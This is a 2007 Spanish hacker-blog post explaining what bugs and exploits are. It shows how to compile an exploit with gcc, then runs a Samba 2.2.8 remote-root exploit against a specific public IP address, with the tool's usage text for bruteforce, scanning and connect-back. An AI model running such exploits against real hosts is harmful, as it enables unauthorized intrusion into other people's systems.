La Zona de G4ng$T3r5

jueves, 19 de abril de 2007

$>¿Qué son los Bugs y los Exploits?


¿Qué es un Bug?

Bug en inglés significa bicho. Para comprender la procedencia de este término, debemos remitirnos a los albores de la informática. Los primeros ordenadores funcionaban con relés, lámparas de vacío, transistores... todos ellos gigantes xD. Por entonces, uno de los problemas a solucionar era la presencia de insectos que se metían entre los relés (bugs: bichitos) haciendo contacto y llegaban a hacer que aquellos primitivos ordenadores dejaran de funcionar o lo hicieran erroneamente. Por eso ahora cuando un programa tiene un fallo se dice que tiene un bug. A los que solucionan estos fallos se les llaman debuggers.


¿Qué es un Exploit?

Término con el que se denomina en el entorno hacker al método concreto de usar un error de algún programa (bug) para acceder o manipular sin permiso en un sistema informático. Generalmente, los exploits suelen ser programas que aprovechan algún error del sistema operativo, por ejemplo, para obtener los privilegios del administrador y así tener un control total sobre el sistema. Los exploits se pueden ejecutar, por ejemplo, utilizando una cuenta Shell remota. Son difíciles de conseguir en estos tiempos, aunque hay servicios gratuitos que te dan cuentas shells, pero (siempre hay un pero) no te dan muchos privilegios, yo dira que nada, ya que sólo te permiten ejecutar algún comando que otro. Hace mucho tiempo, para conseguir una shell sólo tenías que llamar a un servidor (que estuviera bajo un SO Unix) y pedirle una shell, y te la daban así, sin más xD xD xD, pero ahora llamas y te dirian "¿para que la quieres?", y hasta te podrian preguntar todos tus datos "¿cómo te llamas? ¿tus apellidos? ¿tu DNI?... etc, etc, ...

Aunque como decíamos, un exploit no tiene por que ser un programa, por definición es simplemente una forma de sacar provecho de un error exitente en un determinado sistema informático (explotar un error), (explotar un bug)...

Comando para compilar un Exploit desde una Shell:

Primero, coges el código fuente y lo metes en un archivo.c, y luego lo compilas escribiendo:

gcc exploit.c -o ejekutable

luego lo ejecutas y pones lo que te pida el exploit.


Ejemplo:
-------------------------------------------------------------
[user@localhost exploits]$ gcc samba2.c -o samba2
[user@localhost exploits]$ ./samba2
samba-2.2.8 < remote root exploit by eSDee
(www.netric.org|be)
--------------------------------------------------------------
Usage: ./samba2 [-bBcCdfprsStv] [host]

-b bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
-B bruteforce steps (default = 300)
-c connectback ip address
-C max childs for scan/bruteforce mode (default = 40)
-d bruteforce/scanmode delay in micro seconds (default = 100000)
-f force
-p port to attack (default = 139)
-r return address
-s scan mode (random)
-S scan mode
-t presets (0 for a list)
-v verbose mode

[user@localhost exploits]$ ./samba2 -b 0 80.36.230.235
samba-2.2.8 < remote root exploit by eSDee
(www.netric.org|be)
--------------------------------------------------------------
+ Bruteforce mode. (Linux)
+ Host is not running samba!

[user@localhost exploits]$


Fuente: http://shadowsecurity.serveblog.net/
--=== By [k-byte] ===--

Tags: Bugs, Exploits